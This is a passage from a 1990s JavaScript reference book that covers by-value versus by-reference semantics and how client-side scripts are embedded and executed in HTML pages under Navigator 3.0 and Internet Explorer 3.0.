The results of this experiment are surprising. Strings are compared by value, and functions are compared by reference. The fact that strings are compared by value may be counter-intuitive to C, C++, and Java programmers--in those languages, strings are reference types, and you must use a special function or method when you want to compare them by value. JavaScript, however, is a higher-level language, and recognizes that when you compare strings you almost always want to compare them by value. Thus, as a special case, it compares strings by value even though they are (presumably) copied and passed by reference.

The fact that functions are compared by reference is quite reasonable. Since it doesn't make sense to write two separate functions that do exactly the same thing, we never really want to compare functions by value. Comparing functions by reference is far more useful.

Copying Objects with the assign() Method

We've seen above that objects are copied by reference. There is one exception to this rule, however. If the left-hand side of an assignment expression refers to an object, and that object has an assign() method, then instead of copying a reference to the right-hand value into the left-hand variable, as usual, the assign() method is called instead, with the value of the right-hand side as its argument. You can define this method so that an assignment performs any sort of action you desire. Example 9.5 shows how you can use this feature to override the "copy-by-reference" nature of an object. The assign() method is also covered in detail in Chapter 7, Objects.[2]

[2] Note that the assign() method is not supported in Internet Explorer 3.0, and may not be supported in future versions of Navigator.

Example 9.5: The assign() Method

// This is the function we'll use for the assign() method.
function myassign(rhs) {
    var i;
    for (i in rhs) this[i] = rhs[i];
}
myobject = new Object;       // create an object
myobject.assign = myassign;  // set the custom assign() method on it
// Now, when an object is assigned to "myobject", the properties
// of that object are copied, rather than overwriting the "myobject"
// variable with a reference to the other object.
myobject = my_other_object;

// After the above assignment, myobject and my_other_object still refer
// to two separate objects, but myobject has a copy of each of the
// properties of my_other_object.

By Value vs. By Reference: Summary

The sections above have been quite detailed and perhaps somewhat confusing. Table 9.3 summarizes these sections.

Table 9.3: Data Type Manipulation in JavaScript
 | Copied | Passed | Compared
Number | By value | By value | By value
Boolean | By value | By value | By value
Object | By reference (or assign() method) | By reference | By reference
Array | By reference (or assign() method) | By reference | By reference
String | Immutable (by reference) | Immutable (by reference) | By value
Function | Immutable (by reference) | Immutable (by reference) | By reference

Previous | Home | Next
Explicit Data Type Conversions | Book Index | Client-Side Program Structure
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] Client-Side Program Structure

JavaScript: The Definitive Guide

Previous Chapter 10 Next

10. Client-Side Program Structure

Contents:
The <SCRIPT> Tag
Including JavaScript Files
JavaScript and Events
JavaScript in URLs
JavaScript Entities
Execution of JavaScript Programs
JavaScript and Threads

The first part of this book described the core JavaScript language, used in both client- and server-side scripts. Many of the examples we've seen, while legal JavaScript code, had no particular context--they were JavaScript fragments, rather than legal client-side scripts or legal server-side scripts. This chapter provides that context: it explains how JavaScript code can be integrated into HTML files so that it is run by the client web browser.

There are five techniques for including JavaScript code in HTML:

Embedding a JavaScript script between <SCRIPT> and </SCRIPT> tags.

This is the most common method.

Using the <SCRIPT> tag to refer to a file of JavaScript code.

This is done by specifying a URL as the value of the SRC attribute, instead of including the JavaScript statements literally between the <SCRIPT> and </SCRIPT> tags. (This is much like including an image on a web page with the <IMG SRC=> tag.) This technique for including external files of JavaScript code into a web page is not available in Navigator 2.0.

Defining event handlers.

These are function definitions that are invoked by the browser when certain events occur. These event handler functions are defined by specifying JavaScript statements as the value of appropriate attributes within HTML tags. For example, in the <BODY> HTML tag, you can specify arbitrary JavaScript code as the value of the onLoad attribute. This code will be executed when the web page is fully loaded.

Using the special javascript: URL pseudo-protocol.

You can type these URLs directly into your browser (this doesn't work in Internet Explorer 3.0), or use them as the target of hypertext links in your web documents. When such a link is invoked, the JavaScript code following the javascript: protocol identifier will be executed, and the resulting value will be used as the text of the new document.

Embedding code with the JavaScript HTML entity.

This is available in Navigator 3.0 only. Recall that an HTML entity is a code usually representing a special character--either one reserved by HTML or one that does not appear on most keyboards. For example, &lt; is an HTML entity that represents the < character. All HTML entities begin with an ampersand and end with a semicolon. The JavaScript entity may contain arbitrary JavaScript statements in curly braces between this ampersand and semicolon. The value of the JavaScript statements becomes the value of the entity. This special JavaScript entity may not be used arbitrarily in HTML; it may only appear within the attribute value of an HTML tag.

The following sections document each of these five JavaScript embedding techniques in more detail. Together, they explain all the ways that JavaScript can be included in web pages--that is, they explain the allowed structure of JavaScript programs on the client side.

10.1 The <SCRIPT> Tag

Client-side JavaScript scripts are part of an HTML file, and are usually coded within the <SCRIPT> and </SCRIPT> tags. Between these tags you may place any number of JavaScript statements, which will be executed in the order they appear as part of the document loading process. (Definitions of JavaScript functions are stored, but they are not executed until they are called.) <SCRIPT> tags may appear in either the <HEAD> or <BODY> of an HTML document.

A single HTML document may contain more than one pair of (non-overlapping) <SCRIPT> and </SCRIPT> tags. These multiple separate scripts will have their statements executed in the order they appear within the document. While separate scripts within a single file are executed at different times during the loading and parsing of the HTML file, they constitute part of the same JavaScript program--functions and variables defined in one script will be available to all scripts that follow in the same file. For example, if you have the following script somewhere in an HTML page:

<SCRIPT>var x = 1;</SCRIPT>
later on in the same HTML page, you can refer to x, even though it's in a different script block.

The context that matters is the HTML page, not the script block:

<SCRIPT>document.write(x);</SCRIPT>
Example 10.1 shows a sample HTML file that includes a simple JavaScript program. Note the difference between this example and many of the code fragments shown earlier in the book--this one is integrated with an HTML file and has a clear context in which it runs. Note the use of a LANGUAGE attribute in the <SCRIPT> tag--it will be explained in the following subsection.

Example 10.1: A Simple JavaScript Program in an HTML File

<HTML>
<HEAD>
<TITLE>Today's Date</TITLE>
    <SCRIPT LANGUAGE="JavaScript">
    // Define a function for use later on.
    function print_todays_date()
    {
        var d = new Date();  // today's date and time.
        document.write(d.toLocaleString());
    }
    </SCRIPT>
</HEAD>
<BODY>
<HR>The date and time are:<BR><B>
    <SCRIPT LANGUAGE="JavaScript">
    // Now call the function we defined above.
    print_todays_date();
    </SCRIPT>
</B><HR>
</BODY>
</HTML>

The LANGUAGE Attribute

The <SCRIPT> tag has an optional LANGUAGE attribute that specifies the scripting language used for the script. This attribute is necessary because there is more than one version of JavaScript, and because there is more than one scripting language that can be embedded between <SCRIPT> and </SCRIPT> tags. By specifying what language a script is written in, you tell a browser whether it should attempt to interpret the script, or whether it is written in a language that the browser doesn't understand, and therefore should be ignored.

If you are writing JavaScript code, you use the LANGUAGE attribute as follows:

<SCRIPT LANGUAGE="JavaScript">
    // JavaScript code goes here
</SCRIPT>
On the other hand, if you were writing a script in Microsoft's "VBScript" scripting language[1] you would use the attribute like this:

<SCRIPT LANGUAGE="VBScript">
    ' VBScript code goes here (' is a comment character like // in JavaScript)
</SCRIPT>

[1] The language is actually called "Visual Basic Scripting Edition." Obviously, it is a version of Microsoft's Visual Basic language. The only browser that supports it is Internet Explorer 3.0. VBScript interfaces with HTML objects in the same way that JavaScript does, but the core language itself has a different syntax than JavaScript.

When you specify the LANGUAGE="JavaScript" attribute for a script, both Navigator 2.0 and Navigator 3.0 will run the script. There have been quite a few new features added to JavaScript between Navigator 2.0 and 3.0, however, and you may often find yourself writing scripts that simply won't work in Navigator 2.0. In this case, you should specify that the script should only be run by Navigator 3.0 (and browsers that support a compatible version of JavaScript) like this:

<SCRIPT LANGUAGE="JavaScript1.1">
    // JavaScript code goes here for Navigator 3.0
    // All this code will be ignored by Navigator 2.0
</SCRIPT>
When you set the LANGUAGE attribute to "JavaScript1.1", you inform Navigator 2.0 and Internet Explorer 3.0 that you are using a version of the language that they do not understand. By doing this, you tell these browsers to ignore the <SCRIPT> tags and all the code between them.

JavaScript is, and is likely to remain, the default scripting language for the Web. If you omit the LANGUAGE attribute, both Navigator and Internet Explorer default to the value "JavaScript". Nonetheless, because there are now multiple scripting languages available it is a good habit to always use the LANGUAGE attribute to specify exactly what language (or what version) your scripts are written in.

The </SCRIPT> Tag

You may at some point find yourself writing a script that writes a script into some other browser window or frame.[2] If you do this, you'll need to write out a </SCRIPT> tag to terminate the script you are writing. You must be careful, though--the HTML parser doesn't know about quoted strings, so if you write out a string that contains the characters "</SCRIPT>" in it, the HTML parser will terminate the currently running script.

[2] This happens more commonly than you might think; one commonly used feature of JavaScript is the ability to dynamically generate HTML and JavaScript content for display in other browser windows and frames.

To avoid this problem simply break this tag up into pieces, and write it out using an expression like "</" + "SCRIPT>":

<SCRIPT>
f1.document.write("<SCRIPT>");
f1.document.write("document.write('<H2>This is the quoted script</H2>')");
f1.document.write("</" + "SCRIPT>");
</SCRIPT>
Alternatively, you can escape the / in </SCRIPT> with a backslash:

f1.document.write("<\/SCRIPT>");

Previous | Home | Next
By Value vs. By Reference | Book Index | Including JavaScript Files
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.2 Including JavaScript Files

JavaScript: The Definitive Guide

Previous Chapter 10
Client-Side Program Structure 		Next

10.2 Including JavaScript Files

In Navigator 3.0 and Internet Explorer 3.0, the <SCRIPT> tag supports a new SRC attribute. The value of this attribute specifies the URL of a file of JavaScript code. It is used like this:

<SCRIPT SRC="../../javascript/util.js"></SCRIPT>

A JavaScript file is just that--pure JavaScript, without <SCRIPT> tags or any other HTML. A JavaScript file typically has a .js extension, and should be exported by a web server with MIME-type "application/x-javascript". This last point is important, and may require special configuration of your web server in order to successfully use JavaScript files in this way.

The behavior of the <SCRIPT> tag with the SRC attribute specified is exactly as if the contents of the specified JavaScript file appeared directly between the <SCRIPT> and </SCRIPT> tags. Any code that does appear between the open and close <SCRIPT> tags will be ignored by browsers that support the SRC attribute (although it would still be executed by browsers, like Navigator 2.0, that do not recognize the tag). Note that the closing </SCRIPT> tag is required even when the SRC attribute is specified and there is no JavaScript between the <SCRIPT> and </SCRIPT> tags.

Since both Navigator 3.0 and Internet Explorer 3.0 both support the SRC attribute, you cannot assume that any browser that understands the SRC tag also understands JavaScript 1.1. Thus it is a good idea to use the LANGUAGE attribute with the SRC attribute:

<SCRIPT LANGUAGE="JavaScript1.1" SRC="../../javascript/util.js"></SCRIPT>
Note that the web server that exports the included file also specifies the scripting language that the file contains (although perhaps not the version of the language) by specifying a MIME type for the file.

There are a number of advantages to using the SRC tag:

  • It simplifies your HTML files by allowing you to remove large blocks of JavaScript code from them.

  • When you have functions or other JavaScript code used by several different HTML files, you can keep it in a single file and read it into each HTML file that needs it. This reduces disk usage, and makes code maintenance much easier.

  • When JavaScript functions are used by more than one page, placing them in a separate JavaScript file allows them to be cached by the browser, making them load much more quickly. When JavaScript code is shared by multiple pages, the time savings of caching more than outweigh the small delay required for the browser to open a separate network connection to download the JavaScript file the first time it is requested.

  • Because the SRC attribute takes an arbitrary URL as its value, a JavaScript program or web page from one web server can employ code (such as subroutine libraries) exported by other web servers.

Previous | Home | Next
The <SCRIPT> Tag | Book Index | JavaScript and Events
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.3 JavaScript and Events

JavaScript: The Definitive Guide

Previous Chapter 10
Client-Side Program Structure 		Next

10.3 JavaScript and Events

We've seen how JavaScript "scripts" can be embedded into HTML files. The following subsections explain how JavaScript event-handler functions are embedded in HTML files to allow web pages to interact with the user.

The Event-Driven Programming Model

In the old days, computer programs often ran in "batch" mode. This meant that they read a batch of data in, did some computation on that data, and then wrote out the results. Later, with timesharing and text-based terminals, limited kinds of interactivity became possible--the program could ask the user for input, and the user could type in data; the computer could process the data and display the results on-screen.

Nowadays, however, with graphical displays and pointing devices like mouses, the situation is different--programs are generally "event driven," responding to mouse button clicks and keystrokes in a way that depends on the position of the mouse pointer. A web browser is just such a graphical environment, and so client-side JavaScript uses the event-driven programming model.

In order to implement an event-driven program, you must write event-handler functions that take the appropriate actions in response to the user's input. You must also register these event handlers with the system in some way (perhaps just by giving them standard names) so that the system can invoke them at the appropriate times.

Event Handlers in JavaScript

Events do not just occur of their own accord. Generally, they are generated when the user interacts with something in the user interface. When the user interface is an HTML file, as is the case for client-side JavaScript programs, then that "something" will be a HTML object, such as a hypertext link, a button, a drop-down menu or an input field. Since events occur "on" particular objects, it follows that they must be handled "for" those particular objects. Therefore, the logical way to define an event handler is as part of the HTML object to which it responds.

In order to allow us to define JavaScript event handlers as part of HTML object definitions, JavaScript extends HTML by adding new attributes to various HTML tags that define objects. For example, to define an event handler that is invoked when the user clicks on a checkbox in a form, for example, you specify the handler code as an attribute of the HTML tag that defines the checkbox in the form:

<INPUT
    TYPE="checkbox"
    NAME="opts"
    VALUE="ignore-case"
    onClick="ignore_case = this.checked;"
>

What's of interest to us here is the onClick attribute.[3] The string value of the onClick attribute may contain one or more JavaScript statements. If there is more than one statement, they must be separated from each other with semicolons.[4] When the specified event--in this case, a click--occurs on the checkbox the JavaScript code within the string will be executed.

[3] The mixed-case capitalization of onClick is a common convention for JavaScript event handlers defined in HTML files. HTML element and attribute names are case-insensitive, but writing "onClick" rather than "ONCLICK" sets off the handlers from standard HTML tags that are, by convention, shown in all capitals.

[4] The statements may not be separated by newlines: while an HTML attribute value normally may contain newlines, this doesn't work with JavaScript.

While you can include any number of JavaScript statements within an event-handler definition, a common technique, when more than one or two simple statements are required, is to define the body of an event handler as a function between <SCRIPT> and </SCRIPT> tags, and then to simply invoke this function from the event handler. This keeps most of your actual JavaScript code within scripts and reduces the need to mingle JavaScript and HTML.

Most form elements have one or more event handlers that you can define. Buttons, checkboxes, and radio buttons are among the elements that can specify an onClick handler. Text and Textarea elements can have onChange, onFocus, and onBlur event handlers that are invoked when the user changes the displayed value or when the user gives keyboard focus to, or takes away keyboard focus from, the element. In addition to these HTML form-related event handlers, there are also handlers invoked whenever the user moves the mouse over a hypertext link and whenever a web page is loaded into the browser or unloaded from the browser.

Table 10.1 lists the event handlers defined by all client-side JavaScript objects. The objects themselves will be introduced in some of the following chapters, but this table will, for now, illustrate what a diverse collection of event handlers is supported by JavaScript. Once you've learned about all of the client-side objects supported by JavaScript, this table should serve as a convenient event-handler reference. Note that this table lists event handlers supported by Navigator 3.0; not all those shown are supported by Navigator 2.0 or Internet Explorer 3.0.

Table 10.1: JavaScript Event Handlers
Object | Supported Event Handlers
Area | onClick()[1] | onMouseOut() | onMouseOver()
Button | onBlur()[2] | onClick() | onFocus()[2]
Checkbox | onBlur()[2] | onClick() | onFocus()[2]
FileUpload | onBlur() | onChange() | onFocus()
Form | onReset() | onSubmit()
Frame | onLoad() | onUnload()
Image | onAbort() | onError() | onLoad()
Link | onClick() | onMouseOut() | onMouseOver()
Radio | onBlur()[2] | onClick() | onFocus()[2]
Reset | onBlur()[2] | onClick() | onFocus()[2]
Select | onBlur()[2] | onChange() | onFocus()[2]
Submit | onBlur()[2] | onClick() | onFocus()[2]
Text | onBlur() | onChange() | onFocus()
Textarea | onBlur() | onChange() | onFocus()
Window | onBlur() | onError() | onFocus() | onLoad() | onUnload()

Footnotes:

[1] Not supported in Navigator 3.0 on Windows platforms.

[2] Not supported in Navigator 3.0 on Unix platforms.

Event Handlers as Functions

Specifying an event handler as a string within an appropriate HTML tag defines a JavaScript function that is invoked by the browser when the appropriate event occurs. In fact, in Navigator 3.0, event-handler functions are stored as properties of the objects for which they are defined. Thus, if the checkbox defined in the example above was accessible in JavaScript as document.forms[0].opts[2], the event handler defined in the object's HTML tag would be available to JavaScript code as:

document.forms[0].opts[2].onclick
Note the capitalization of onclick here and recall that JavaScript is case-sensitive while HTML is not. Event-handler properties in JavaScript are always all lowercase, even if the corresponding HTML happens to appear in mixed-case or all-caps.

In Navigator 3.0, you can use event-handler properties in the ways you can use any method property. You can use it to invoke the event handler explicitly, to assign the event handler to some other variable or pass it to a function, and even to define or redefine an event handler by assigning an appropriate function to the event-handler property--thereby avoiding the need to define the event handler with a (sometimes long and awkward) string value of an HTML attribute.

Event Handlers in <SCRIPT> Tags

In Internet Explorer, but not in Navigator, there is an alternative syntax for defining event handlers. It involves using new FOR and EVENT attributes to the <SCRIPT> tag to specify code that constitutes an event handler for a named object and a named event. Using this Internet Explorer technique, we could rewrite the checkbox example shown earlier like this:

<INPUT TYPE="checkbox" NAME="opts" VALUE="ignore-case">
<SCRIPT FOR="opts" EVENT="onClick">
    ignore_case = this.checked;
</SCRIPT>
Note that the value of the FOR attribute must be an object name assigned with the NAME attribute when the object is defined. And the value of the EVENT attribute is the name of the event handler (but not the name of the event itself).

There is a certain elegance to specifying event handlers in this way--it avoids the need to add new JavaScript-specific attributes to all the HTML objects. Nevertheless, since this technique is not supported by Navigator, I do not recommend its use.

Timer Events

There is another type of event, besides those generated through user interaction. These are events generated when specified periods of time have elapsed; they are known as timer events, or "timeouts." Timeouts are important to any JavaScript program that must perform an action on some regular schedule, even when the user is not actively interacting with the browser. Applications of timeouts include clocks and animation.

You use setTimeout() (a method of the Window object) to specify that a timeout should occur a specified number of milliseconds in the future. Timer events do not have predefined event handlers as other types of events do. Instead, the code to be executed when the specified time interval elapses is passed as a string argument to setTimeout(). For example, the following code arranges for a timer event to occur in 1 second (1000 milliseconds). When that timer event occurs, the function show_date_time() will be invoked.

// call the show_date_time() function 1 second from now
setTimeout("show_date_time();", 1000);

When you register a timeout with code like that above, only one timer event will occur--i.e., the timer event will occur one second in the future; it will not repeat itself every second after that. When you do want a timer that repeats periodically, you simply include code in the "handler" that re-registers the timeout by calling setTimeout() again. This is a useful technique for animation and related tasks. It might be done like this:

function animate_status_line_annoyingly()
{
    // Set the Window.status property here,
    // then arrange to be called later so we can do it again!
    setTimeout("animate_status_line_annoyingly()", 1000);
}

In complex programs you may need to use more than one timeout. This is no problem; JavaScript can keep track of any number of pending timer events. After you have registered a timeout with setTimeout(), but before the timer event has actually occurred, you can cancel the timeout with the clearTimeout() method. See the reference section of this book for complete detains on Window.setTimeout() and Window.clearTimeout().

Previous | Home | Next
Including JavaScript Files | Book Index | JavaScript in URLs
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.4 JavaScript in URLs

JavaScript: The Definitive Guide

Previous Chapter 10
Client-Side Program Structure 		Next

10.4 JavaScript in URLs

Another way that JavaScript code can be included on the client side is in a URL following the javascript: pseudo-protocol specifier. This special protocol type specifies that the body of the URL is arbitrary JavaScript code to be interpreted by the JavaScript interpreter. If the JavaScript code in a javascript: URL contains multiple statements, the statements must be separated from one another by semicolons. Such a URL might look like the following:

javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

When the browser "loads" one of these JavaScript URLs, it executes the JavaScript code contained in the URL and displays the "document" referred to by the URL. This "document" is the string value of the last JavaScript statement in the URL. This string will be formatted and displayed just like any other document loaded into the browser.

More commonly, a JavaScript URL will contain JavaScript statements that perform actions but return no value. For example:

javascript:alert("Hello World!")
When this sort of URL is "loaded," the browser executes the JavaScript code, but, because there is no value to display as the new document, it does not modify the currently displayed document.

Note that in Navigator 3.0, you can use the void operator to force an expression to have no value. This is useful when you want to execute an assignment statement, for example, but do not want to display the assigned value in the browser window. (Recall that assignment statements are also expressions, and that they evaluate to the value of the right-hand-side of the assignment.)

The javascript: URL can be used anywhere you'd use a regular URL. It is not altogether clear, however, why you'd want to do so. In Navigator, one important use for this syntax is typing it directly into the Location field of your browser, where it allows you to try out and test arbitrary JavaScript code without having to get out your editor and create an HTML file containing the code. In fact, Navigator takes this idea even further. As described in Chapter 1, Introduction to JavaScript, if you enter the URL javascript: alone, with no JavaScript code following it, Navigator displays a JavaScript interpreter page that allows you to sequentially enter and execute lines of code. Unfortunately, neither of these techniques work in Internet Explorer 3.0.

javascript: URLs can also be used in other contexts. You might use one as the target of a hypertext link, for example. Then when the user clicks on the link, the specified JavaScript code will be executed. Or, if you specify a javascript: URL as the value of the ACTION attribute of a <FORM> tag, then the JavaScript code in the URL will be executed when the user submits the form. In these contexts, the javascript: URL is essentially a substitute for an event-handler. Event handlers and javascript: URLs can often be used essentially interchangeably, and which you choose is basically a stylistic matter.

There are a few circumstances where a javascript: URL can be used with objects that do not support event handlers. For example the <AREA> tag does not support an onClick() event-handler on Windows platforms in Navigator 3.0 (one will be added in the next release, though). So if you want to execute JavaScript code when the user clicks on a client-side image map, you must use a javascript: URL.

Internet Explorer supports the javascript: protocol specifiers for URLs, but does not have a special built-in JavaScript interpreter page. A future version of Explorer will probably also support a vbscript: protocol.

Previous | Home | Next
JavaScript and Events | Book Index | JavaScript Entities
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.5 JavaScript Entities

JavaScript: The Definitive Guide

Previous Chapter 10
Client-Side Program Structure 		Next

10.5 JavaScript Entities

In Navigator 3.0 and later, JavaScript code may appear in one additional location in a web page. This is in a JavaScript entity within the value of an attribute of an HTML tag. Recall that an HTML entity is a sequence of characters like &lt; that represents a special character like <. A JavaScript entity is similar. It has the following syntax:

&{ JavaScript-statements };
The entity may contain any number of JavaScript statements, which must be separated from one another by semicolons. It must begin with an ampersand and an open curly bracket and end with a close curly bracket and a semicolon.

Whenever an entity is encountered in HTML, it is replaced with its value. The value of a JavaScript entity is the value of the last JavaScript statement or expression within the entity, converted to a string.

In general, entities can be used anywhere within HTML code. The JavaScript entity, however, is restricted to appear only within the value of HTML attributes. These entities allow you to, in effect, write conditional HTML. Typical usages might look like these:

<BODY BGCOLOR="&{favorite_color();};">
<INPUT TYPE="text" NAME="lastname" VALUE="&{defaults.lastname};">

Previous | Home | Next
JavaScript in URLs | Book Index | Execution of JavaScript Programs
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.6 Execution of JavaScript Programs

JavaScript: The Definitive Guide

Previous Chapter 10
Client-Side Program Structure 		Next

10.6 Execution of JavaScript Programs

The previous sections of this chapter have discussed the structure of JavaScript programs. This section moves on to discuss how those programs are executed by the JavaScript interpreter. Although it may seem obvious, it is important to understand how and when a web browser executes the JavaScript code embedded in various parts of an HTML file. The subsections below explain how different forms of JavaScript code are executed and also explain the implications that you must be aware of when writing JavaScript programs.

Scripts

JavaScript statements that appear between <SCRIPT> and </SCRIPT> tags are executed in the order that they appear, and, when more than one script appears in a file, those scripts are executed in the order they appear. The same rules apply to scripts included from separate files with the SRC attribute. This much is obvious.

The detail that is not so obvious, but that is important to remember, is that execution of scripts occurs as part of the web browser's HTML parsing process. Thus, if a script appears in the <HEAD> of an HTML document, none of the <BODY> of the document will have been defined yet. This means that the Form, Link, and other JavaScript objects that represent the contents of the document body will not have been created yet and cannot be manipulated by that code. (We'll learn more about these objects in Chapter 12, Programming with Windows, and the chapters that follow it, and you can find complete details in the reference section of this book.)

Because JavaScript scripts are evaluated as part of the web browser's HTML parsing, the JavaScript objects that represent parts of the HTML document do not exist until they are parsed, and your scripts should not attempt to manipulate objects that haven't been created yet. For example, you can't write a script that manipulates the contents of an HTML form if the script appears before the form in the HTML file. There are some other, similar, rules that apply on a case-by-case basis. For example, there are properties of the JavaScript Document object that may be set only from a script in the <HEAD> of an HTML document, before Navigator has begun to parse the document content from the <BODY> section. Any special rules of this sort are documented in this book's reference entry for the affected object or property.

As noted above, scripts that use the SRC attribute to read in an external JavaScript file are executed just as scripts that include their code directly in the file are. What this means is that the HTML parser and the JavaScript interpreter must both stop and wait for the external JavaScript file to be downloaded--scripts cannot be downloaded in parallel as embedded images can. Downloading an external file of JavaScript code, even over a relatively fast modem connection, can cause noticeable delays in the loading and execution of a web page. Of course, once the JavaScript code is cached locally, this problem effectively disappears.

Note that scripts using the Internet Explorer FOR and EVENT tags are not executed following the rules described here--they should rightly be considered event handlers, rather than scripts, and are executed in the same way (described below) that more conventionally defined event handlers are.

In Navigator 2.0, there is a notable bug relating to execution of scripts: whenever the web browser is resized, all the scripts within it are re-interpreted.

Functions

Remember that defining a function is not the same as executing it. It is perfectly safe to define a function that manipulates variables that aren't declared yet, or objects that haven't been created yet. You simply must take care that the function is not executed or invoked until the necessary variables, objects, and so on, all exist. We said above that you can't write a script to manipulate an HTML form if the script appears before the form in the HTML file. You can, however, write a script that defines a function to manipulate the form, regardless of the relative location of the script and form. In fact, this is quite a common thing to do. Many JavaScript programs start off with a script at the beginning of the file that does nothing more than define functions that will be used elsewhere further down in the HTML file.

It is also common to write JavaScript programs that use scripts simply to define functions that are later invoked through event handlers. As we'll see in the next section, you must take care in this case to insure two things: first, that all functions are defined before any event handler attempts to invoke them. And second, that event handlers and the functions they invoke do not attempt to use objects that have not been defined yet.

Event Handlers

As we've seen, defining an event handler creates a JavaScript function. These event-handler functions are defined as part of the HTML parsing process, but, like functions defined directly by scripts, event handlers are not executed immediately. Event handler execution is asynchronous. Since events occur, in general, when the user interacts with HTML objects, there is no way to predict when an event handler will be invoked. In fact, event handlers may be invoked even before a web page is fully loaded and parsed. This is easier to understand if you imagine a slow network connection--even a half-loaded document may display hypertext links and form elements that the user can interact with, thereby causing event handlers to be invoked before the second half of the document is loaded.

The fact that event handlers are invoked asynchronously has two important implications. First, if your event handler invokes functions, you must be sure that the functions are already defined before the handler calls them. One way to guarantee this is to define all your functions in the <HEAD> of an HTML document. This section of a document will always be completely parsed (and any functions in it defined) before the <BODY> of the document is parsed. Since all objects that define event handlers must themselves be defined in the <BODY>, functions in the <HEAD> are guaranteed to be defined before any event handlers are invoked.

The second implication of the fact that event handlers may be invoked before a document is fully loaded is that you must be sure that event handlers do not attempt to manipulate HTML objects that have not yet been parsed and created. An event handler may always safely manipulate its own object, of course, and also any objects that are defined before it in the HTML file. One strategy is simply to define your web page user interface in such a way that event handlers always refer only to objects defined before they are. For example, if you define a form that contains event handlers only on the Submit and Reset buttons, then you simply need to place these buttons at the bottom of the form (which is where good UI style says they should go anyway).

In more complex programs, you may not be able to ensure that event handlers will only manipulate objects defined before them, and in these programs you need to take extra care. If an event handler only manipulates objects defined within the same form, it is pretty unlikely that you'll ever have problems. When you start manipulating objects in other forms or in other frames, however, this starts to be a real concern. One technique is to test for the existence of the object you want to manipulate before you manipulate it. You can do this simply by comparing it (and any parent objects) to null. For example:

<SCRIPT>
function set_name_other_frame(name)
{
    if (parent.frames[1] == null) return;   // other frame not defined yet
    if (parent.frames[1].document) return;  // document not loaded in it yet
    if (!parent.frames[1].document.myform) return;  // form not defined yet
    if (!parent.frames[1].document.myform.lastname) return; // field not defined
    parent.frames[1].document.myform.name.value = name;
}
</SCRIPT>
<INPUT TYPE="text" NAME="lastname"
       onChange="set_name_other_frame(this.value)";
>

Another technique that an event handler can use to ensure that all required objects are defined involves the onLoad() event handler. This event handler is defined in the <BODY> or <FRAMESET> tag of an HTML file and is invoked when the document or frameset is fully loaded. If you set a flag within the onLoad() event handler, then other event handlers can test this flag to see if they can safely run, with the knowledge that the document is fully loaded and all objects it contains are defined. For example:

<BODY onLoad="window.loaded = true;">
  <FORM>
    <INPUT TYPE="button" VALUE="Press Me"
           onClick="if (window.loaded != true) return; doit();"
    >
  </FORM>
</BODY>

Unfortunately, in Navigator 2.0, documents that contain images and do not contain frames may invoke the onLoad() handler early, and so this technique is not foolproof. A possible solution is to include a small script at the very end of the document and have this script set the necessary flag:

    <SCRIPT>window.loaded = true;</SCRIPT>
  </BODY>
</HTML>
The following subsection contains more information on the onLoad() event handler, and its partner, the onUnload() handler.

onLoad() and onUnload() Event Handlers

The onLoad() event handler and its partner the onUnload() handler are worth a special mention in the context of execution order of JavaScript programs. Both these event handlers are defined in the <BODY> or <FRAMESET> tag of an HTML file. (No HTML file can legally contain both these tags.) The onLoad() handler is executed when the document or frameset is fully loaded, which means that all images have been downloaded and displayed, all sub-frames have loaded, any Java applets and plug-ins (Navigator) have started running, and so on. The onUnload() handler is executed just before the page is "unloaded", which occurs when the browser is about to move on to a new page. Be aware that when you are working with multiple frames, there is no guarantee of the order in which the onLoad() event handler will be invoked for the various frames, except that the handler for the parent frame will be invoked after the handlers of all its children frames (although this is buggy and doesn't always work correctly in Navigator 2.0).

The onLoad() event handler lets you perform initialization for your web page. And the onUnload() event handler lets you undo any lingering effects of the initialization, or perform any other necessary "clean up" on your page. For example, onLoad() could set the Window.defaultStatus property to display a special message in the browser's status bar. Then the onUnload() handler would restore the defaultStatus property to its default (the empty string) so that the message does not persist on other pages.

JavaScript URL Execution

JavaScript code in a javascript: URL is not executed when the document containing the URL is loaded. It is not interpreted until the browser tries to "load the document" that the URL refers to. This may be when a user types in a JavaScript URL, or, more likely, it is when the user follows a link, clicks on a client-side image map, or submits a form. javascript: URLs are usually equivalent to event handlers, and like event handlers, the code in those URLs can be executed before a document is fully loaded. Thus, you must take the same precautions with javascript: URLs that you take with event handlers to ensure that they do not attempt to reference objects (or functions) that are not yet defined.

JavaScript Entity Execution

Since JavaScript entities are used as the value of HTML attributes, these pieces of JavaScript code are executed during the process of HTML parsing that is done while the document is loading. In fact, since the JavaScript code in an entity produces a value that becomes part of the HTML itself, the HTML parsing process is dependent on the JavaScript interpreter in this case. JavaScript entities can always be replaced by more cumbersome scripts that write the affected HTML tags dynamically. For example, the following line of HTML:

<INPUT TYPE="text" NAME="lastname" VALUE="&{defaults.lastname};">
can be replaced with these lines:

<SCRIPT>
  document.write('<INPUT TYPE="text" NAME="lastname" VALUE="' +
                 defaults.lastname +
                 '">');
</SCRIPT>
For all intents and purposes, JavaScript entities are executed just like their equivalent scripts are.

Previous | Home | Next
JavaScript Entities | Book Index | JavaScript and Threads
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.7 JavaScript and Threads

JavaScript: The Definitive Guide

Previous Chapter 10
Client-Side Program Structure 		Next

10.7 JavaScript and Threads

Since a web browser can display multiple documents at the same time by using multiple windows and frames, and since any of those documents can contain JavaScript code, it is natural to wonder whether more than one script can be running at the same time.

The answer is no. Although Navigator, like most browsers, is multithreaded, JavaScript in Navigator 2.0 and 3.0 is single-threaded: only one script may run at a time. If a script is running, other scripts will not be able to run until it has finished. This is an implementation-dependent feature of Navigator, not something inherent about client-side JavaScript itself. It could be that we will see multithreaded JavaScript in future releases.

